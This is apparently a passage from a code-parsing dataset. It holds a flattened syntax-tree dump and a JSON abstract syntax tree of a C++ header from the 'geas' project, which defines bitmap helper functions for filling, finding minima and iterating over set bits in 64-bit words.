F>\n inline" (binary_expression) "template<class F>\n inline" (binary_expression) "template<class" (identifier) "template" (<) "<" (identifier) "class" (ERROR) "F" (identifier) "F" (>) ">" (identifier) "inline" (;) "" (declaration) "bool Forall_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }\n return true;\n }" (primitive_type) "bool" (init_declarator) "Forall_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }\n return true;\n }" (function_declarator) "Forall_BV(uint64_t* b, uint64_t* e, F f, int base" (identifier) "Forall_BV" (parameter_list) "(uint64_t* b, uint64_t* e, F f, int base" (() "(" (parameter_declaration) "uint64_t* b" (primitive_type) "uint64_t" (pointer_declarator) "* b" (*) "*" (identifier) "b" (,) "," (parameter_declaration) "uint64_t* e" (primitive_type) "uint64_t" (pointer_declarator) "* e" (*) "*" (identifier) "e" (,) "," (parameter_declaration) "F f" (type_identifier) "F" (identifier) "f" (,) "," (parameter_declaration) "int base" (primitive_type) "int" (identifier) "base" ()) "" (=) "=" (ERROR) "0)" (number_literal) "0" ()) ")" (initializer_list) "{\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }\n return true;\n }" ({) "{" (ERROR) "for(; b != e; ++b)" (call_expression) "for(; b != e; ++b)" (identifier) "for" (argument_list) "(; b != e; ++b)" (() "(" (ERROR) "; b != e; ++" (;) ";" (update_expression) "b != e; ++" (binary_expression) "b != e" (identifier) "b" (!=) "!=" (identifier) "e" (ERROR) ";" (;) ";" (++) "++" (identifier) "b" ()) ")" (initializer_list) "{\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }" ({) "{" (ERROR) "uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }" (identifier) "uint64_t" (call_expression) "mask(*b)" (identifier) "mask" (argument_list) "(*b)" (() "(" (pointer_expression) "*b" (*) "*" (identifier) "b" ()) ")" (;) ";" (while) "while" (() "(" (identifier) "mask" ()) ")" (initializer_list) "{\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }" ({) "{" (ERROR) "unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return" (identifier) "unsigned" (call_expression) "offset(__builtin_ctzll(mask))" (identifier) "offset" (argument_list) "(__builtin_ctzll(mask))" (() "(" (call_expression) "__builtin_ctzll(mask)" (identifier) "__builtin_ctzll" (argument_list) "(mask)" (() "(" (identifier) "mask" ()) ")" ()) ")" (;) ";" (assignment_expression) "mask &= (mask-1)" (identifier) "mask" (&=) "&=" (parenthesized_expression) "(mask-1)" (() "(" (binary_expression) "mask-1" (identifier) "mask" (-) "-" (number_literal) "1" ()) ")" (;) ";" (if) "if" (() "(" (unary_expression) "!f(base + offset)" (!) "!" (call_expression) "f(base + offset)" (identifier) "f" (argument_list) "(base + offset)" (() "(" (binary_expression) "base + offset" (identifier) "base" (+) "+" (identifier) "offset" ()) ")" ()) ")" (return) "return" (false) "false" (ERROR) ";" (;) ";" (}) "}" (assignment_expression) "base += 64" (identifier) "base" (+=) "+=" (number_literal) "64" (ERROR) ";" (;) ";" (}) "}" (ERROR) "return true;" (identifier) "return" (true) "true" (;) ";" (}) "}" (;) "" (expression_statement) "template<class F>\n inline" (binary_expression) "template<class F>\n inline" (binary_expression) "template<class" (identifier) "template" (<) "<" (identifier) "class" (ERROR) "F" (identifier) "F" (>) ">" (identifier) "inline" (;) "" (declaration) "bool Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return true;\n }\n };" (primitive_type) "bool" (init_declarator) "Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return true;\n }" (function_declarator) "Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base" (identifier) "Forall_Blocks" (parameter_list) "(uint64_t* b, uint64_t* e, F f, int base" (() "(" (parameter_declaration) "uint64_t* b" (primitive_type) "uint64_t" (pointer_declarator) "* b" (*) "*" (identifier) "b" (,) "," (parameter_declaration) "uint64_t* e" (primitive_type) "uint64_t" (pointer_declarator) "* e" (*) "*" (identifier) "e" (,) "," (parameter_declaration) "F f" (type_identifier) "F" (identifier) "f" (,) "," (parameter_declaration) "int base" (primitive_type) "int" (identifier) "base" ()) "" (=) "=" (ERROR) "0)" (number_literal) "0" ()) ")" (initializer_list) "{\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return true;\n }" ({) "{" (ERROR) "for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return" (call_expression) "for(; b != e; ++b)" (identifier) "for" (argument_list) "(; b != e; ++b)" (() "(" (ERROR) "; b != e; ++" (;) ";" (update_expression) "b != e; ++" (binary_expression) "b != e" (identifier) "b" (!=) "!=" (identifier) "e" (ERROR) ";" (;) ";" (++) "++" (identifier) "b" ()) ")" (initializer_list) "{\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }" ({) "{" (ERROR) "uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }" (identifier) "uint64_t" (call_expression) "mask(*b)" (identifier) "mask" (argument_list) "(*b)" (() "(" (pointer_expression) "*b" (*) "*" (identifier) "b" ()) ")" (;) ";" (if) "if" (() "(" (identifier) "mask" ()) ")" (initializer_list) "{\n if(!f(base, mask))\n return false;\n }" ({) "{" (call_expression) "if(!f(base, mask))" (identifier) "if" (argument_list) "(!f(base, mask))" (() "(" (unary_expression) "!f(base, mask)" (!) "!" (call_expression) "f(base, mask)" (identifier) "f" (argument_list) "(base, mask)" (() "(" (identifier) "base" (,) "," (identifier) "mask" ()) ")" ()) ")" (ERROR) "return false;" (identifier) "return" (false) "false" (;) ";" (}) "}" (assignment_expression) "base += 64" (identifier) "base" (+=) "+=" (number_literal) "64" (ERROR) ";" (;) ";" (}) "}" (identifier) "return" (true) "true" (ERROR) ";" (;) ";" (}) "}" (ERROR) "}" (}) "}" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (#endif) "#endif"
1,264
42
{"language": "c", "success": true, "metadata": {"lines": 105, "avg_line_length": 30.27, "nodes": 822, "errors": 0, "source_hash": "8744bdf9b6530665faceb0b378987a3dc591ec0712184035f990d9b8ac92cace", "categorized_nodes": 530}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef GEAS__BITOPS__H\n#define GEAS__BITOPS__H\n// Helper header for doing stuff on BitMaps.\n#include <cstring>\n#include <stdint.h>\n\nnamespace geas {\n namespace B32 {\n inline unsigned block_bits(void) { return 5; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n };\n\n // TODO: Factor all this stuff out\n namespace B64 {\n inline unsigned block_bits(void) { return 6; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n\n inline void Fill_BV(uint64_t* start, unsigned sz) {\n memset(start, -1, sizeof(uint64_t) * req_words(sz));\n if(bit(sz))\n start[block(sz)] &= bit(sz)-1;\n }\n\n inline int Min_BV(uint64_t* start, int base = 0) {\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start);\n }\n \n template<class F>\n inline void Iter_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }\n }\n\n template<class F>\n inline void Iter_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n f(base + offset);\n }\n }\n template<class F>\n inline void Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }\n }\n template<class F>\n inline bool Forall_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n if(!f(base + offset))\n return false;\n }\n return true;\n }\n template<class F>\n inline bool Forall_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }\n return true;\n }\n template<class F>\n inline bool Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return true;\n }\n };\n};\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 821], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 110, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "identifier", "text": "GEAS__BITOPS__H", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 23}}, {"id": 3, "type": "preproc_def", "text": "#define GEAS__BITOPS__H\n", "parent": 0, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 7}}, {"id": 5, "type": "identifier", "text": "GEAS__BITOPS__H", "parent": 3, "children": [], "start_point": {"row": 1, "column": 8}, "end_point": {"row": 1, "column": 23}}, {"id": 6, "type": "preproc_include", "text": "#include <cstring>\n", "parent": 0, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<cstring>", "parent": 6, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 18}}, {"id": 9, "type": "preproc_include", "text": "#include <stdint.h>\n", "parent": 0, "children": [10, 11], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 5, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "<stdint.h>", "parent": 9, "children": [], "start_point": {"row": 4, "column": 9}, "end_point": {"row": 4, "column": 19}}, {"id": 12, "type": "function_definition", "text": "namespace geas {\n namespace B32 {\n inline unsigned block_bits(void) { return 5; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n };\n\n // TODO: Factor all this stuff out\n namespace B64 {\n inline unsigned block_bits(void) { return 6; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n\n inline void Fill_BV(uint64_t* start, unsigned sz) {\n memset(start, -1, sizeof(uint64_t) * req_words(sz));\n if(bit(sz))\n start[block(sz)] &= bit(sz)-1;\n }\n\n inline int Min_BV(uint64_t* start, int base = 0) {\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start);\n }\n \n template<class F>\n inline void Iter_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }\n }\n\n template<class F>\n inline void Iter_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n f(base + offset);\n }\n }\n template<class F>\n inline void Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }\n }\n template<class F>\n inline bool Forall_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n if(!f(base + offset))\n return false;\n }\n return true;\n }\n template<class F>\n inline bool Forall_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }\n return true;\n }\n template<class F>\n inline bool Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return true;\n }\n };\n}", "parent": 0, "children": [13, 14], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 108, "column": 1}}, {"id": 13, "type": "type_identifier", "text": "namespace", "parent": 12, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 9}}, {"id": 14, "type": "identifier", "text": "geas", "parent": 12, "children": [], "start_point": {"row": 6, "column": 10}, "end_point": {"row": 6, "column": 14}}, {"id": 15, "type": "function_definition", "text": "namespace B32 {\n inline unsigned block_bits(void) { return 5; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n }", "parent": 12, "children": [16, 17], "start_point": {"row": 7, "column": 2}, "end_point": {"row": 15, "column": 3}}, {"id": 16, "type": "type_identifier", "text": "namespace", "parent": 15, "children": [], "start_point": {"row": 7, "column": 2}, "end_point": {"row": 7, "column": 11}}, {"id": 17, "type": "identifier", "text": "B32", "parent": 15, "children": [], "start_point": {"row": 7, "column": 12}, "end_point": {"row": 7, "column": 15}}, {"id": 18, "type": "function_definition", "text": "inline unsigned block_bits(void) { return 5; }", "parent": 15, "children": [19, 21, 23], "start_point": {"row": 8, "column": 4}, "end_point": {"row": 8, "column": 50}}, {"id": 19, "type": "storage_class_specifier", "text": "inline", "parent": 18, "children": [20], "start_point": {"row": 8, "column": 4}, "end_point": {"row": 8, "column": 10}}, {"id": 20, "type": "inline", "text": "inline", "parent": 19, "children": [], "start_point": {"row": 8, "column": 4}, "end_point": {"row": 8, "column": 10}}, {"id": 21, "type": "sized_type_specifier", "text": "unsigned", "parent": 18, "children": [22], "start_point": {"row": 8, "column": 11}, "end_point": {"row": 8, "column": 19}}, {"id": 22, "type": "unsigned", "text": "unsigned", "parent": 21, "children": [], "start_point": {"row": 8, "column": 11}, "end_point": {"row": 8, "column": 19}}, {"id": 23, "type": "function_declarator", "text": "block_bits(void)", "parent": 18, "children": [24, 25], "start_point": {"row": 8, "column": 20}, "end_point": {"row": 8, "column": 36}}, {"id": 24, "type": "identifier", "text": "block_bits", "parent": 23, "children": [], "start_point": {"row": 8, "column": 20}, "end_point": {"row": 8, "column": 30}}, {"id": 25, "type": "parameter_list", "text": "(void)", "parent": 23, "children": [26], "start_point": {"row": 8, "column": 30}, "end_point": {"row": 8, "column": 36}}, {"id": 26, "type": "parameter_declaration", "text": "void", "parent": 25, "children": [27], "start_point": {"row": 8, "column": 31}, "end_point": {"row": 8, "column": 35}}, {"id": 27, "type": "primitive_type", "text": "void", "parent": 26, "children": [], "start_point": {"row": 8, "column": 31}, "end_point": {"row": 8, "column": 35}}, {"id": 28, "type": "return_statement", "text": "return 5;", "parent": 18, "children": [29], "start_point": {"row": 8, "column": 39}, "end_point": {"row": 8, "column": 48}}, {"id": 29, "type": "number_literal", "text": "5", "parent": 28, "children": [], "start_point": {"row": 8, "column": 46}, "end_point": {"row": 8, "column": 47}}, {"id": 30, "type": "function_definition", "text": "inline unsigned block_size(void) { return 1 << block_bits(); }", "parent": 15, "children": [31, 33, 35], "start_point": {"row": 9, "column": 4}, "end_point": {"row": 9, "column": 66}}, {"id": 31, "type": "storage_class_specifier", "text": "inline", "parent": 30, "children": [32], "start_point": {"row": 9, "column": 4}, "end_point": {"row": 9, "column": 10}}, {"id": 32, "type": "inline", "text": "inline", "parent": 31, "children": [], "start_point": {"row": 9, "column": 4}, "end_point": {"row": 9, "column": 10}}, {"id": 33, "type": "sized_type_specifier", "text": "unsigned", "parent": 30, "children": [34], "start_point": {"row": 9, "column": 11}, "end_point": {"row": 9, "column": 19}}, {"id": 34, "type": "unsigned", "text": "unsigned", "parent": 33, "children": [], "start_point": {"row": 9, "column": 11}, "end_point": {"row": 9, "column": 19}}, {"id": 35, "type": "function_declarator", "text": "block_size(void)", "parent": 30, "children": [36, 37], "start_point": {"row": 9, "column": 20}, "end_point": {"row": 9, "column": 36}}, {"id": 36, "type": "identifier", "text": "block_size", "parent": 35, "children": [], "start_point": {"row": 9, "column": 20}, "end_point": {"row": 9, "column": 30}}, {"id": 37, "type": "parameter_list", "text": "(void)", "parent": 35, "children": [38], "start_point": {"row": 9, "column": 30}, "end_point": {"row": 9, "column": 36}}, {"id": 38, "type": "parameter_declaration", "text": "void", "parent": 37, "children": [39], "start_point": {"row": 9, "column": 31}, "end_point": {"row": 9, "column": 35}}, {"id": 39, "type": "primitive_type", "text": "void", "parent": 38, "children": [], "start_point": {"row": 9, "column": 31}, "end_point": {"row": 9, "column": 35}}, {"id": 40, "type": "return_statement", "text": "return 1 << block_bits();", "parent": 30, "children": [41], "start_point": {"row": 9, "column": 39}, "end_point": {"row": 9, "column": 64}}, {"id": 41, "type": "binary_expression", "text": "1 << block_bits()", "parent": 40, "children": [42, 43, 44], "start_point": {"row": 9, "column": 46}, "end_point": {"row": 9, "column": 63}}, {"id": 42, "type": "number_literal", "text": "1", "parent": 41, "children": [], "start_point": {"row": 9, "column": 46}, "end_point": {"row": 9, "column": 47}}, {"id": 43, "type": "<<", "text": "<<", "parent": 41, "children": [], "start_point": {"row": 9, "column": 48}, "end_point": {"row": 9, "column": 50}}, {"id": 44, "type": "call_expression", "text": "block_bits()", "parent": 41, "children": [45, 46], "start_point": {"row": 9, "column": 51}, "end_point": {"row": 9, "column": 63}}, {"id": 45, "type": "identifier", "text": "block_bits", "parent": 44, "children": [], "start_point": {"row": 9, "column": 51}, "end_point": {"row": 9, "column": 61}}, {"id": 46, "type": "argument_list", "text": "()", "parent": 44, "children": [], "start_point": {"row": 9, "column": 61}, "end_point": {"row": 9, "column": 63}}, {"id": 47, "type": "function_definition", "text": "inline uint64_t block_mask(void) { return block_size()-1; }", "parent": 15, "children": [48, 50, 51], "start_point": {"row": 10, "column": 4}, "end_point": {"row": 10, "column": 63}}, {"id": 48, "type": "storage_class_specifier", "text": "inline", "parent": 47, "children": [49], "start_point": {"row": 10, "column": 4}, "end_point": {"row": 10, "column": 10}}, {"id": 49, "type": "inline", "text": "inline", "parent": 48, "children": [], "start_point": {"row": 10, "column": 4}, "end_point": {"row": 10, "column": 10}}, {"id": 50, "type": "primitive_type", "text": "uint64_t", "parent": 47, "children": [], "start_point": {"row": 10, "column": 11}, "end_point": {"row": 10, "column": 19}}, {"id": 51, "type": "function_declarator", "text": "block_mask(void)", "parent": 47, "children": [52, 53], "start_point": {"row": 10, "column": 20}, "end_point": {"row": 10, "column": 36}}, {"id": 52, "type": "identifier", "text": "block_mask", "parent": 51, "children": [], "start_point": {"row": 10, "column": 20}, "end_point": {"row": 10, "column": 30}}, {"id": 53, "type": "parameter_list", "text": "(void)", "parent": 51, "children": [54], "start_point": {"row": 10, "column": 30}, "end_point": {"row": 10, "column": 36}}, {"id": 54, "type": "parameter_declaration", "text": "void", "parent": 53, "children": [55], "start_point": {"row": 10, "column": 31}, "end_point": {"row": 10, "column": 35}}, {"id": 55, "type": "primitive_type", "text": "void", "parent": 54, "children": [], "start_point": {"row": 10, "column": 31}, "end_point": {"row": 10, "column": 35}}, {"id": 56, "type": "return_statement", "text": "return block_size()-1;", "parent": 47, "children": [57], "start_point": {"row": 10, "column": 39}, "end_point": {"row": 10, "column": 61}}, {"id": 57, "type": "binary_expression", "text": "block_size()-1", "parent": 56, "children": [58, 61, 62], "start_point": {"row": 10, "column": 46}, "end_point": {"row": 10, "column": 60}}, {"id": 58, "type": "call_expression", "text": "block_size()", "parent": 57, "children": [59, 60], "start_point": {"row": 10, "column": 46}, "end_point": {"row": 10, "column": 58}}, {"id": 59, "type": "identifier", "text": "block_size", "parent": 58, "children": [], "start_point": {"row": 10, "column": 46}, "end_point": {"row": 10, "column": 56}}, {"id": 60, "type": "argument_list", "text": "()", "parent": 58, "children": [], "start_point": {"row": 10, "column": 56}, "end_point": {"row": 10, "column": 58}}, {"id": 61, "type": "-", "text": "-", "parent": 57, "children": [], "start_point": {"row": 10, "column": 58}, "end_point": {"row": 10, "column": 59}}, {"id": 62, "type": "number_literal", "text": "1", "parent": 57, "children": [], "start_point": {"row": 10, "column": 59}, "end_point": {"row": 10, "column": 60}}, {"id": 63, "type": "function_definition", "text": "inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }", "parent": 15, "children": [64, 66, 68], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 11, "column": 104}}, {"id": 64, "type": "storage_class_specifier", "text": "inline", "parent": 63, "children": [65], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 11, "column": 10}}, {"id": 65, "type": "inline", "text": "inline", "parent": 64, "children": [], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 11, "column": 10}}, {"id": 66, "type": "sized_type_specifier", "text": "unsigned", "parent": 63, "children": [67], "start_point": {"row": 11, "column": 11}, "end_point": {"row": 11, "column": 19}}, {"id": 67, "type": "unsigned", "text": "unsigned", "parent": 66, "children": [], "start_point": {"row": 11, "column": 11}, "end_point": {"row": 11, "column": 19}}, {"id": 68, "type": "function_declarator", "text": "req_words(unsigned sz)", "parent": 63, "children": [69, 70], "start_point": {"row": 11, "column": 20}, "end_point": {"row": 11, "column": 42}}, {"id": 69, "type": "identifier", "text": "req_words", "parent": 68, "children": [], "start_point": {"row": 11, "column": 20}, "end_point": {"row": 11, "column": 29}}, {"id": 70, "type": "parameter_list", "text": "(unsigned sz)", "parent": 68, "children": [71], "start_point": {"row": 11, "column": 29}, "end_point": {"row": 11, "column": 42}}, {"id": 71, "type": "parameter_declaration", "text": "unsigned sz", "parent": 70, "children": [72, 74], "start_point": {"row": 11, "column": 30}, "end_point": {"row": 11, "column": 41}}, {"id": 72, "type": "sized_type_specifier", "text": "unsigned", "parent": 71, "children": [73], "start_point": {"row": 11, "column": 30}, "end_point": {"row": 11, "column": 38}}, {"id": 73, "type": "unsigned", "text": "unsigned", "parent": 72, "children": [], "start_point": {"row": 11, "column": 30}, "end_point": {"row": 11, "column": 38}}, {"id": 74, "type": "identifier", "text": "sz", "parent": 71, "children": [], "start_point": {"row": 11, "column": 39}, "end_point": {"row": 11, "column": 41}}, {"id": 75, "type": "return_statement", "text": "return (sz >> block_bits()) + ((sz & block_mask()) != 0);", "parent": 63, "children": [76], "start_point": {"row": 11, "column": 45}, "end_point": {"row": 11, "column": 102}}, {"id": 76, "type": "binary_expression", "text": "(sz >> block_bits()) + ((sz & block_mask()) != 0)", "parent": 75, "children": [77, 84, 85], "start_point": {"row": 11, "column": 52}, "end_point": {"row": 11, "column": 101}}, {"id": 77, "type": "parenthesized_expression", "text": "(sz >> block_bits())", "parent": 76, "children": [78], "start_point": {"row": 11, "column": 52}, "end_point": {"row": 11, "column": 72}}, {"id": 78, "type": "binary_expression", "text": "sz >> block_bits()", "parent": 77, "children": [79, 80, 81], "start_point": {"row": 11, "column": 53}, "end_point": {"row": 11, "column": 71}}, {"id": 79, "type": "identifier", "text": "sz", "parent": 78, "children": [], "start_point": {"row": 11, "column": 53}, "end_point": {"row": 11, "column": 55}}, {"id": 80, "type": ">>", "text": ">>", "parent": 78, "children": [], "start_point": {"row": 11, "column": 56}, "end_point": {"row": 11, "column": 58}}, {"id": 81, "type": "call_expression", "text": "block_bits()", "parent": 78, "children": [82, 83], "start_point": {"row": 11, "column": 59}, "end_point": {"row": 11, "column": 71}}, {"id": 82, "type": "identifier", "text": "block_bits", "parent": 81, "children": [], "start_point": {"row": 11, "column": 59}, "end_point": {"row": 11, "column": 69}}, {"id": 83, "type": "argument_list", "text": "()", "parent": 81, "children": [], "start_point": {"row": 11, "column": 69}, "end_point": {"row": 11, "column": 71}}, {"id": 84, "type": "+", "text": "+", "parent": 76, "children": [], "start_point": {"row": 11, "column": 73}, "end_point": {"row": 11, "column": 74}}, {"id": 85, "type": "parenthesized_expression", "text": "((sz & block_mask()) != 0)", "parent": 76, "children": [86], "start_point": {"row": 11, "column": 75}, "end_point": {"row": 11, "column": 101}}, {"id": 86, "type": "binary_expression", "text": "(sz & block_mask()) != 0", "parent": 85, "children": [87, 93, 94], "start_point": {"row": 11, "column": 76}, "end_point": {"row": 11, "column": 100}}, {"id": 87, "type": "parenthesized_expression", "text": "(sz & block_mask())", "parent": 86, "children": [88], "start_point": {"row": 11, "column": 76}, "end_point": {"row": 11, "column": 95}}, {"id": 88, "type": "binary_expression", "text": "sz & block_mask()", "parent": 87, "children": [89, 90], "start_point": {"row": 11, "column": 77}, "end_point": {"row": 11, "column": 94}}, {"id": 89, "type": "identifier", "text": "sz", "parent": 88, "children": [], "start_point": {"row": 11, "column": 77}, "end_point": {"row": 11, "column": 79}}, {"id": 90, "type": "call_expression", "text": "block_mask()", "parent": 88, "children": [91, 92], "start_point": {"row": 11, "column": 82}, "end_point": {"row": 11, "column": 94}}, {"id": 91, "type": "identifier", "text": "block_mask", "parent": 90, "children": [], "start_point": {"row": 11, "column": 82}, "end_point": {"row": 11, "column": 92}}, {"id": 92, "type": "argument_list", "text": "()", "parent": 90, "children": [], "start_point": {"row": 11, "column": 92}, "end_point": {"row": 11, "column": 94}}, {"id": 93, "type": "!=", "text": "!=", "parent": 86, "children": [], "start_point": {"row": 11, "column": 96}, "end_point": {"row": 11, "column": 98}}, {"id": 94, "type": "number_literal", "text": "0", "parent": 86, "children": [], "start_point": {"row": 11, "column": 99}, "end_point": {"row": 11, "column": 100}}, {"id": 95, "type": "function_definition", "text": "inline unsigned block(unsigned p) { return p >> block_bits(); }", "parent": 15, "children": [96, 98, 100], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 12, "column": 67}}, {"id": 96, "type": "storage_class_specifier", "text": "inline", "parent": 95, "children": [97], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 12, "column": 10}}, {"id": 97, "type": "inline", "text": "inline", "parent": 96, "children": [], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 12, "column": 10}}, {"id": 98, "type": "sized_type_specifier", "text": "unsigned", "parent": 95, "children": [99], "start_point": {"row": 12, "column": 11}, "end_point": {"row": 12, "column": 19}}, {"id": 99, "type": "unsigned", "text": "unsigned", "parent": 98, "children": [], "start_point": {"row": 12, "column": 11}, "end_point": {"row": 12, "column": 19}}, {"id": 100, "type": "function_declarator", "text": "block(unsigned p)", "parent": 95, "children": [101, 102], "start_point": {"row": 12, "column": 20}, "end_point": {"row": 12, "column": 37}}, {"id": 101, "type": "identifier", "text": "block", "parent": 100, "children": [], "start_point": {"row": 12, "column": 20}, "end_point": {"row": 12, "column": 25}}, {"id": 102, "type": "parameter_list", "text": "(unsigned p)", "parent": 100, "children": [103], "start_point": {"row": 12, "column": 25}, "end_point": {"row": 12, "column": 37}}, {"id": 103, "type": "parameter_declaration", "text": "unsigned p", "parent": 102, 